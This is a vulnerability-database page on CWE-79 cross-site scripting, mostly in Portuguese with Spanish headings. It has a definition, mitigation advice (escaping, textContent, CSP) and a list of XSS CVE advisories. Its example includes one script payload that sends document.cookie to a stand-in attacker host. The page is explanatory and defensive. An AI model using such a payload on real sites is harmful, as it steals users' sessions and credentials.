Fallos del tipo CWE-79

29.816 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-2371MEDIUMPHPGurukul Human Metapneumovirus Testing Management System Registered Mobile Number Search registered-user-testing.php cross site scriptingEPSS 0.4%CVE-2024-13591MEDIUMTeam Builder For WPBakery Page Builder(Formerly Visual Composer) <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-26493MEDIUMIn JetBrains TeamCity before 2024.12.2 several DOM-based XSS were possible on the Code Inspection Report tabEPSS 0.4%CVE-2025-59332HIGH3DAlloy allows stored XSS through attributes provided to the 3d parser tag/functionEPSS 0.4%CVE-2024-25226MEDIUMA cross-site scripting (XSS) vulnerability in Simple Admin Panel App v1.0 allows attackers to execute arbitrary web scripts or HTML via a crEPSS 0.4%CVE-2026-36214MEDIUMosTicket versions from 1.10 up to 1.17.7 and from 1.18.0 up to 1.18.3 are vulnerable to a stored XSS due to a vulnerable Bootstrap Tooltip cEPSS 0.4%CVE-2024-11746MEDIUMDiscover the Best Woocommerce Product Brands Plugin for WordPress – Woocommerce Brands Plugin <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-47814MEDIUMWordPress BMI Calculator Plugin Plugin <= 1.0.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-2087HIGHBrizy – Page Builder <= 2.4.43 - Unauthenticated Stored Cross-Site Scripting via FormEPSS 0.4%CVE-2025-0314HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.4%CVE-2023-2343MEDIUMCross-site Scripting (XSS) - DOM in pimcore/pimcoreEPSS 0.4%CVE-2023-4021MEDIUMModern Events Calendar lite < 7.1.0 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-12435MEDIUMCompare Products for WooCommerce <= 3.2.1 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-13575MEDIUMWeb Stories Enhancer – Level Up Your Web Stories <= 1.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-46734MEDIUMleague/commonmark Cross-site Scripting vulnerability in Attributes extensionEPSS 0.4%CVE-2025-1955MEDIUMcode-projects Online Class and Exam Scheduling System profile.php cross site scriptingEPSS 0.4%CVE-2024-9609MEDIUMLearnPress Export Import – WordPress extension for LearnPress <= 4.0.4 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2024-12077MEDIUMBooking Calendar and Booking Calendar Pro <= Multiple Versions - Reflected Cross-Site Scripting via 'calendar_id'EPSS 0.4%CVE-2023-30469HIGHReflrected Cross Site Scripting Vulnerability in Hitachi Ops Center AnalyzerEPSS 0.4%CVE-2023-5230MEDIUMTM WooCommerce Compare & Wishlist <= 1.1.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%